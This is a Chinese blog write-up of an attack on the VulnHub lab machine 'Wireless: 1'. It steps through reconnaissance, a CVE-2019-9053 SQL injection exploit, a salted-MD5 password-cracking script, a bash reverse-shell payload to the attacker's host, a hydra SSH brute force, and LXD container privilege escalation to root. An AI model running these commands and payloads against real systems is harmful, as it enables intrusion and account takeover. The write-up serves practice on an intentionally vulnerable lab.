vulnhub靶场之WIRELESS: 1

发布时间 2023-03-27 10:53:12作者: upfine

准备:

攻击机:虚拟机kali、本机win10。

靶机:Wireless: 1,下载地址:https://download.vulnhub.com/wireless/Mystiko-Wireless.rar,下载后直接vm打开即可。

知识点:lxd提权、密码字典生成、hydra爆破、dns解析、SMS信息解密、cve-2019-9053漏洞。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.0.0/24,发现靶机地址:192.168.0.11。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22端口、80端口、8000端口、8080端口,开启了ssh服务、http服务

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.0.11,但是未发现有效信息。扫描其8000端口时,扫描失败。

3.web访问

通过web访问8000端口时,在首页发现了一个邮箱信息:jinmori@voip.in,猜测用户名是:jinmori。

在首页中发现登录页面:http://192.168.0.11:8000/login,然后在其源码信息中发现:http://192.168.0.11:8000/static/js/login.js文件,读取该文件信息。

直接在浏览器中右键检查中的console中执行代码,然后输出delog,命令:console.log(delog);

得到一个新的输出,将执行的结果继续执行,然后输出p,命令:console.log(p);,成功获得一串字符串,猜测是密码信息:Taekwondo。

二:信息利用

1.SMS信息解密

利用获得账户信息:jinmori/Taekwondo登录web系统,然后在其viop logs中发现SMS信息。

使用sms信息解密网站:https://www.smsdeliverer.com/online-sms-pdu-decoder.aspx对sms信息进行解密,成功获得提示信息,告诉我们要访问8080服务,还需要进行dns解析。

2.dns解析

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 wireless.com。linux:打开/etc/hosts文件,添加:192.168.0.11 wireless.com。然后访问:http://wireless.com:8080/,返回信息告诉我们内部门户v1。后面在访问:http://wireless.com/时发现是CMS Made Simple框架,在其首页发现框架的版本信息:CMS Made Simple version 2.2.9。

使用searchsploit搜索下该框架版本的漏洞信息,发现存在sql注入漏洞。

3.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://wireless.com/,发现admin、tmp、config.php目录和文件。

三:获取shell

1.cve-2019-9053漏洞利用

直接使用该脚本进行漏洞利用,但是进行利用的时候发现一旦开启对密码明文信息的爆破该脚本就会报错,因此我这里就将爆破明文密码的那块代码单独拿出来了,只用该脚本其他信息,命令:python exp.py -u http://wireless.com/,成功获得salt:551c92a536111490、username:juniordev、加密的密码:a25bb9e6782e7329c236d2538dd4f5ac。

然后利用解密脚本对获得加密密码进行解密,这里为了方便测试直接写死了全部的参数,可以自行更改,执行完该脚本后成功获得密码:passion。

import hashlib

def crack_password():
    password = 'a25bb9e6782e7329c236d2538dd4f5ac'
    result = ''
    salt = '551c92a536111490'
    dict = open("C:\\Users\\86188\\Desktop\\pass.txt")
    for line in dict.readlines():
        line = line.replace("\n", "")
        if str(hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest()) == password:
            result += "\n[+] Password cracked: " + line
            break
    dict.close()
    print(result)

crack_password()

2.获取shell

利用获得的账户信息:juniordev/passion登录web页面,在web系统中的Extensions-user defined tags中发现可以执行代码,因此构造:exec("/bin/bash -c 'bash -i >&/dev/tcp/192.168.0.9/6688 0>&1'");进行shell反弹,成功获取shell权限。

四:8080端口利用

在上面虽然获得了shell权限,但是只在该权限中发现了coherer账户,未发现可以进行提权的信息点只能去8080端口看一下。但是我在8080端口也未发现有用的信息,在网上看了以下,发现存在一个子域名:testing.wireless.com,访问:http://testing.wireless.com:8080/服务时,返回的是一个登录页面,采用前面发现的账户信息:juniordev/passion可以直接登录到系统内。

在输入框中进行测试,当我们输入help时会回显我们可以执行的命令,可以执行的命令包含:tools、logs、whoami、clear、questions。当我们执行命令logs时返回了Network.data文件。

访问该文件是一个很长的一篇信息。

那我们就将Network.data文件生成字典,命令:cewl -m 4 http://testing.wireless.com:8080/static/Network.data > passwd,然后使用hydra进行爆破,命令:hydra ssh://192.168.0.11 -l coherer -P passwd,最终成功获得账户和密码信息:coherer/Induction。

使用获得的账户信息:coherer/Induction进行ssh登录,成功获得coherer权限的shell权限。

五:提权-root

在coherer的shell中发现coherer账户具有lxd权限,那我们就可以利用lxd进行提权,最终成功获得root权限。

#上传tar.gz文件,然后依次执行以下代码。百度网盘:链接:https://pan.baidu.com/s/1rJ61YRlLgEXGP-bUKPf7DA,提取码:upfn
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage  
lxd init   #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后在/mnt/root/root目录下发现proof.txt,读取该文件成功获得flag值。